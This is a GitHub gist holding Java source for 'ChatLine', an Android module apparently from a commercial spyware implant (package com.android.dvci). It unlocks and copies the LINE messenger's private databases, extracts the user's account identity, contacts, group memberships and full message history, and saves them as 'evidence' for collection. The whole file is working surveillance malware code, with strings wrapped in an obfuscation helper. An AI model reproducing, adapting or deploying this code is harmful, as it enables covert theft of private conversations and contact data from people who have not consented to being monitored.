Skip to content

Instantly share code, notes, and snippets.

@peterclemenko
Created July 11, 2015 17:07
Show Gist options
  • Save peterclemenko/25f6dee56c62590de56d to your computer and use it in GitHub Desktop.
Save peterclemenko/25f6dee56c62590de56d to your computer and use it in GitHub Desktop.
package com.android.dvci.module.chat;
import android.database.Cursor;
import com.android.dvci.auto.Cfg;
import com.android.dvci.db.GenericSqliteHelper;
import com.android.dvci.db.RecordHashPairVisitor;
import com.android.dvci.db.RecordStringVisitor;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.file.Path;
import com.android.dvci.util.Check;
import com.android.dvci.util.StringUtils;
import com.android.mm.M;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.concurrent.Semaphore;
public class ChatLine extends SubModuleChat {
private static final String TAG = "ChatLine";
private static final int PROGRAM = 0x0d;
String pObserving = M.e("jp.naver.line.android");
String dbFile = M.e("/data/data/jp.naver.line.android/databases/naver_line");
String dbAccountFile = M.e("/data/data/jp.naver.line.android/databases/naver_line_myhome");
Semaphore readChatSemaphore = new Semaphore(1, true);
private Date lastTimestamp;
private long lastLine;
private String account = "";
private String account_mid = M.e("mid");
private GenericSqliteHelper helper;
@Override
public int getProgramId() {
return PROGRAM;
}
@Override
String getObservingProgram() {
return pObserving;
}
@Override
void notifyStopProgram(String processName) {
start();
}
@Override
protected void start() {
if (!readChatSemaphore.tryAcquire()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readViberMessageHistory), semaphore red");
}
return;
}
try {
lastLine = markup.unserialize(new Long(0));
if (Cfg.DEBUG) {
Check.log(TAG + " (start), read lastLine: " + lastLine);
}
Path.unprotect(dbAccountFile, 3, true);
helper = GenericSqliteHelper.openCopy(dbAccountFile);
if (helper == null) {
return;
}
List<String> mymids= new ArrayList<String>();
try {
RecordStringVisitor visitor = new RecordStringVisitor("mid");
helper.traverseRecords("my_home_status", visitor);
mymids = visitor.getRecords();
}finally{
helper.disposeDb();
}
helper = GenericSqliteHelper.openCopy(dbFile);
if (helper == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (ChatLine) Error, file not readable: " + dbFile);
}
return;
}
try {
account = readMyPhoneNumber(mymids);
long lastmessage = readLineMessageHistory();
if (lastmessage > lastLine) {
if (Cfg.DEBUG) {
Check.log(TAG + " (start) serialize: %d", lastmessage);
}
markup.serialize(lastmessage);
}
}finally {
helper.disposeDb();
}
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (notifyStopProgram) Error: " + e);
}
} finally {
readChatSemaphore.release();
}
}
private String readMyPhoneNumber(List<String> mymids) {
RecordHashPairVisitor visitorContacts = new RecordHashPairVisitor("m_id", "name");
helper.traverseRecords(M.e("contacts"), visitorContacts);
for (String pmid : mymids) {
if (!visitorContacts.containsKey(pmid)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readMyPhoneNumber) found mid: %s", pmid);
}
account_mid = pmid;
// break;
}
}
RecordStringVisitor visitorContent = new RecordStringVisitor("content");
visitorContent.selection = M.e("server_id is null");
helper.traverseRecords(M.e("chat_history"), visitorContent);
for (String content : visitorContent.getRecords()) {
String[] lines = content.split("\n");
for (int i = 0; i < lines.length; i += 3) {
String mid = lines[i + 1];
String name = lines[i + 2];
if (!visitorContacts.containsKey(mid)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readMyPhoneNumber) my name is: %s, mid: %s", name, mid);
account = name;
if (!mid.equals(account_mid)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readMyPhoneNumber) Error: %s!=%s", mid, account_mid);
}
}
if (StringUtils.isEmpty(account_mid)) {
account_mid = mid;
}
}
}
}
}
return account;
}
@Override
protected void stop() {
if (Cfg.DEBUG) {
Check.log(TAG + " (stop), ");
}
}
private long readLineMessageHistory() throws IOException {
try {
Path.unprotect(dbFile, 3, true);
Path.unprotect(dbFile + "*", true);
// GenericSqliteHelper helper =
// GenericSqliteHelper.openCopy(dbFile);
// helper.deleteAtEnd = false;
final ChatGroups groups = getLineGroups(helper);
String sqlquery = M.e("select chat_id, from_mid, content, ch.created_time, sent_count , name from chat_history as ch left join contacts as c on ch.from_mid = c.m_id where type=1 and ch.created_time > ? order by ch.created_time ");
String[] projection = new String[]{M.e("chat_id"), M.e("from_mid"), M.e("content"), M.e("ch.created_time"), M.e("sent_count"),
M.e("name")};
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();
RecordVisitor visitor = new RecordVisitor(null, null) {
@Override
public long cursor(Cursor cursor) {
String chat_id = cursor.getString(0);
String from_mid = cursor.getString(1);
String content = cursor.getString(2);
// localtime or gmt? should be converted to gmt
long created_time = cursor.getLong(3);
Date date = new Date(created_time);
int sent_count = cursor.getInt(4);
String from_name = cursor.getString(5);
boolean incoming = false;
String to = account;
String to_id = account_mid;
if (from_name == null) {
from_name = account;
from_mid = account_mid;
incoming = false;
to = groups.getGroupToName(from_name, chat_id);
to_id = groups.getGroupToId(from_name, chat_id);
} else {
incoming = true;
to = groups.getGroupToName(from_name, chat_id);
to_id = groups.getGroupToId(from_name, chat_id);
if (to == null) {
to = account;
}
}
if (Cfg.DEBUG) {
Check.log(TAG + " (readLineMessageHistory) %s\n%s, %s -> %s: %s ", chat_id,
date.toLocaleString(), from_name, to, content);
}
MessageChat message = new MessageChat(PROGRAM, date, from_mid, from_name, to_id, to, content,
incoming);
messages.add(message);
return created_time;
}
};
long lastmessage = helper.traverseRawQuery(sqlquery, new String[]{Long.toString(lastLine)}, visitor);
getModule().saveEvidence(messages);
return lastmessage;
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readLineMessageHistory) Error: ", ex);
}
}
return lastLine;
}
private ChatGroups getLineGroups(GenericSqliteHelper helper) {
// SQLiteDatabase db = helper.getReadableDatabase();
final ChatGroups groups = new ChatGroups();
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
String key = cursor.getString(0);
String mid = cursor.getString(1);
String name = cursor.getString(2);
if (mid == null) {
return 0;
}
if (mid.equals(account_mid)) {
name = account;
}
if (Cfg.DEBUG) {
Check.log(TAG + " (getLineGroups) %s: %s,%s", key, mid, name);
}
if (name != null && mid != null) {
groups.addPeerToGroup(key, new Contact(mid, name, name, ""));
} else {
if (name == null) {
groups.addPeerToGroup(key, mid);
} else {
groups.addPeerToGroup(key, name);
}
}
return 0;
}
};
String sqlquery = M.e("SELECT chat_id, mid, name FROM 'chat_member' left join contacts on chat_member.mid = contacts.m_id");
helper.traverseRawQuery(sqlquery, null, visitor);
sqlquery = M.e("select chat_id, owner_mid, name from chat as ch left join contacts as c on ch.owner_mid = c.m_id");
helper.traverseRawQuery(sqlquery, null, visitor);
sqlquery = M.e("select distinct chat_id, from_mid, name from chat_history as ch left join contacts as c on ch.from_mid = c.m_id where from_mid not null");
helper.traverseRawQuery(sqlquery, null, visitor);
groups.addLocalToAllGroups(account);
if (Cfg.DEBUG) {
for (String group : groups.getAllGroups()) {
String to = groups.getGroupToName(account, group);
Check.log(TAG + " (getLineGroups group) %s : %s", group, to);
}
}
return groups;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment